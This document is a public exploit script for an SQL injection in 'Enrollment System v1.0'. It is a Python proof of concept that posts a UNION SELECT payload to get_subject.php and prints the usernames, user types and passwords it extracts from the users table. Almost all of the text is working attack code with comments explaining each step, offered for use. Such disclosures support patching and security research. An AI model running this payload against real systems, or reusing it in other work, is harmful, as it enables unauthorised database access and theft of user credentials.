# Exploit Title: Enrollment System v1.0 - SQL Injection # Date: 27 December 2023 # Exploit Author: Gnanaraj Mauviel (@0xm3m) # Vendor: Obi08 # Vendor Homepage: https://github.com/Obi08/Enrollment_System # Software Link: https://github.com/Obi08/Enrollment_System # Version: v1.0 # Tested on: Mac OSX, XAMPP, Apache, MySQL ------------------------------------------------------------------------------------------------------------------------------------------- from bs4 import BeautifulSoup import requests import urllib3 #The Config class defines three class attributes: BASE_URL, URI, and PAYLOAD. #BASE_URL is set to the string "http://localhost/enrollment_system". #URI is set to the string "/get_subject.php". #PAYLOAD is set to the string "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -". class Config: BASE_URL = "http://localhost/enrollment_system" URI = '/get_subject.php' PAYLOAD = "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -" urllib3.disable_warnings() proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} #This code defines a function called exploit_sqli that exploits a SQL injection vulnerability in a given URL. It takes in a requests.Session object and a Config object as parameters. The function constructs a URL using the BASE_URL and URI properties from the Config object, and creates a dictionary of parameters with a key of 'keyword' and a value of the PAYLOAD property from the Config object. #The function then tries to make a request using the make_request function and returns the response text if successful. If an exception is raised during the request, it prints an error message and returns an empty string. def exploit_sqli(session: requests.Session, config: Config) -> str: """ Exploits SQL injection vulnerability in the given URL. Args: session (requests.Session): The session object to use for making the request. config (Config): Configuration object containing base URL, URI, and payload. Returns: str: The response text from the request. """ url = f"{config.BASE_URL}{config.URI}" params = {'keyword': config.PAYLOAD} try: response = make_request(session, url, params) return response.text except requests.RequestException as e: print(f"Request failed: {e}") return "" #This code defines a function called make_request that takes in a requests.Session object, a URL string, and a dictionary of parameters. It makes a POST request using the provided session and parameters, and returns the response object. The function has type hints indicating the types of the arguments and the return value. def make_request(session: requests.Session, url: str, params: dict) -> requests.Response: """ Make a POST request with error handling. Args: session (requests.Session): The session object to use for making the request. url (str): The URL to send the request to. params (dict): The parameters to include in the request. Returns: requests.Response: The response object. """ return session.post(url, data=params, verify=False, proxies=proxies) #This code snippet defines a function called parse_html that takes a string parameter response_text. It uses the BeautifulSoup library to parse the HTML in response_text and extract specific data from it. It finds all <tr> elements in the HTML, skips the header row, and then iterates over the remaining rows. For each row, it finds all <td> elements and extracts the text content from the second and third column. Finally, it prints a formatted string that includes the extracted data. def parse_html(response_text: str): soup = BeautifulSoup(response_text, 'html.parser') rows = soup.find_all('tr')[1:] # Skip the header row for row in rows: columns = row.find_all('td') if columns: subject_code = columns[1].text.strip() subject_description = columns[2].text.strip() print(f"User_Type::Username::Password == {subject_code}") if __name__ == "__main__": # file deepcode ignore MissingClose: <please specify a reason of ignoring this> session = requests.Session() response = exploit_sqli(session, Config) if response: parse_html(response)